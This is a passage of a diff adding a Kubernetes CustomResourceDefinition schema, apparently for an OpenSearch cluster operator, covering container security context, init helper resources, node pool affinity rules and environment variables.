for + readonly paths and masked paths. + This requires the ProcMountType feature flag to be enabled. + Note that this field cannot be set when spec.os.name is windows. + type: string + readOnlyRootFilesystem: + description: |- + Whether this container has a read-only root filesystem. + Default is false. + Note that this field cannot be set when spec.os.name is windows. + type: boolean + runAsGroup: + description: |- + The GID to run the entrypoint of the container process. + Uses runtime default if unset. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + runAsNonRoot: + description: |- + Indicates that the container must run as a non-root user. + If true, the Kubelet will validate the image at runtime to ensure that it + does not run as UID 0 (root) and fail to start the container if it does. + If unset or false, no such validation will be performed. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: boolean + runAsUser: + description: |- + The UID to run the entrypoint of the container process. + Defaults to user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + seLinuxOptions: + description: |- + The SELinux context to be applied to the container. + If unspecified, the container runtime will allocate a random SELinux context for each + container. May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + properties: + level: + description: Level is SELinux level label that applies + to the container. + type: string + role: + description: Role is a SELinux role label that applies + to the container. + type: string + type: + description: Type is a SELinux type label that applies + to the container. + type: string + user: + description: User is a SELinux user label that applies + to the container. + type: string + type: object + seccompProfile: + description: |- + The seccomp options to use by this container. If seccomp options are + provided at both the pod & container level, the container options + override the pod options. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile defined in a file on the node should be used. + The profile must be preconfigured on the node to work. + Must be a descending path, relative to the kubelet's configured seccomp profile location. + Must be set if type is "Localhost". Must NOT be set for any other type. + type: string + type: + description: |- + type indicates which kind of seccomp profile will be applied. + Valid options are: + + Localhost - a profile defined in a file on the node should be used. + RuntimeDefault - the container runtime default profile should be used. + Unconfined - no profile should be applied. + type: string + required: + - type + type: object + windowsOptions: + description: |- + The Windows specific settings applied to all containers. + If unspecified, the options from the PodSecurityContext will be used. + If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is linux. + properties: + gmsaCredentialSpec: + description: |- + GMSACredentialSpec is where the GMSA admission webhook + (https://github.com/kubernetes-sigs/windows-gmsa) inlines the contents of the + GMSA credential spec named by the GMSACredentialSpecName field. + type: string + gmsaCredentialSpecName: + description: GMSACredentialSpecName is the name of the + GMSA credential spec to use. + type: string + hostProcess: + description: |- + HostProcess determines if a container should be run as a 'Host Process' container. + All of a Pod's containers must have the same effective HostProcess value + (it is not allowed to have a mix of HostProcess containers and non-HostProcess containers). + In addition, if HostProcess is true then HostNetwork must also be set to true. + type: boolean + runAsUserName: + description: |- + The UserName in Windows to run the entrypoint of the container process. + Defaults to the user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: string + type: object + type: object + serviceAccount: + type: string + serviceName: + type: string + setVMMaxMapCount: + type: boolean + snapshotRepositories: + items: + properties: + name: + type: string + settings: + additionalProperties: + type: string + type: object + type: + type: string + required: + - name + - type + type: object + type: array + vendor: + enum: + - Opensearch + - Op + - OP + - os + - opensearch + type: string + version: + type: string + required: + - serviceName + type: object + initHelper: + properties: + image: + type: string + imagePullPolicy: + description: PullPolicy describes a policy for if/when to pull + a container image + type: string + imagePullSecrets: + items: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: array + resources: + description: ResourceRequirements describes the compute resource + requirements. + properties: + claims: + description: |- + Claims lists the names of resources, defined in spec.resourceClaims, + that are used by this container. + + This is an alpha field and requires enabling the + DynamicResourceAllocation feature gate. + + This field is immutable. It can only be set for containers. + items: + description: ResourceClaim references one entry in PodSpec.ResourceClaims. + properties: + name: + description: |- + Name must match the name of one entry in pod.spec.resourceClaims of + the Pod where this field is used. It makes that resource available + inside a container. + type: string + request: + description: |- + Request is the name chosen for a request in the referenced claim. + If empty, everything from the claim is made available, otherwise + only the result of this request. + type: string + required: + - name + type: object + type: array + x-kubernetes-list-map-keys: + - name + x-kubernetes-list-type: map + limits: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Limits describes the maximum amount of compute resources allowed. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + requests: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Requests describes the minimum amount of compute resources required. + If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, + otherwise to an implementation-defined value. Requests cannot exceed Limits. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + type: object + version: + type: string + type: object + nodePools: + items: + properties: + additionalConfig: + additionalProperties: + type: string + type: object + affinity: + description: Affinity is a group of affinity scheduling rules. + properties: + nodeAffinity: + description: Describes node affinity scheduling rules for + the pod. + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node matches the corresponding matchExpressions; the + node(s) with the highest sum are the most preferred. + items: + description: |- + An empty preferred scheduling term matches all objects with implicit weight 0 + (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op). + properties: + preference: + description: A node selector term, associated + with the corresponding weight. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the + selector applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the + selector applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + weight: + description: Weight associated with matching the + corresponding nodeSelectorTerm, in the range + 1-100. + format: int32 + type: integer + required: + - preference + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to an update), the system + may or may not try to eventually evict the pod from its node. + properties: + nodeSelectorTerms: + description: Required. A list of node selector terms. + The terms are ORed. + items: + description: |- + A null or empty node selector term matches no objects. The requirements of + them are ANDed. + The TopologySelectorTerm type implements a subset of the NodeSelectorTerm. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the + selector applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the + selector applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + type: array + x-kubernetes-list-type: atomic + required: + - nodeSelectorTerms + type: object + x-kubernetes-map-type: atomic + type: object + podAffinity: + description: Describes pod affinity scheduling rules (e.g. + co-locate this pod in the same node, zone, etc. as some + other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of + label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of + label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + podAntiAffinity: + description: Describes pod anti-affinity scheduling rules + (e.g. avoid putting this pod in the same node, zone, etc. + as some other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the anti-affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling anti-affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the anti-affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the anti-affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of + label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of + label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + type: object + annotations: + additionalProperties: + type: string + type: object + component: + type: string + diskSize: + type: string + env: + items: + description: EnvVar represents an environment variable present + in a Container. + properties: + name: + description: Name of the environment variable. Must be + a C_IDENTIFIER. + type: string + value: + description: |- + Variable references $(VAR_NAME) are expanded + using the previously defined environment variables in the container and + any service environment variables. If a variable cannot be resolved, + the reference in the input string will be unchanged. Double $$ are reduced + to a single $, which allows for escaping the $(VAR_NAME) syntax: i.e. + "$$(VAR_NAME)" will produce the string literal "$(VAR_NAME)". + Escaped references will never be expanded, regardless of whether the variable + exists or not. + Defaults to "". + type: string + valueFrom: + description: Source for the environment variable's value. + Cannot be used if value is not empty. + properties: + configMapKeyRef: + description: Selects a key of a ConfigMap. + properties: + key: + description: The key to select. + type: string + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: Specify whether the ConfigMap or + its key must be defined + type: boolean + required: + - key + type: object + x-kubernetes-map-type: atomic + fieldRef: + description: |- + Selects a field of the pod: supports metadata.name, metadata.namespace, `metadata.labels['']`, `metadata.annotations['']`, + spec.nodeName, spec.serviceAccountName, status.hostIP, status.podIP, status.podIPs. + properties: + apiVersion: + description: Version of the schema the FieldPath + is written in terms of, defaults to "v1". + type: string + fieldPath: + description: Path of the field to select in the + specified API version. + type: string + required: + - fieldPath + type: object + x-kubernetes-map-type: atomic + resourceFieldRef: + description: |- + Selects a resource of the container: only resources limits and requests + (limits.cpu, limits.memory, limits.ephemeral-storage, requests.cpu, requests.memory and requests.ephemeral-storage) are currently supported. + properties: + containerName: + description: 'Container name: required for volumes, + optional for env vars' + type: string + divisor: + anyOf: + - type: integer + - type: string + description: Specifies the output format of the + exposed resources, defaults to "1" + pattern: 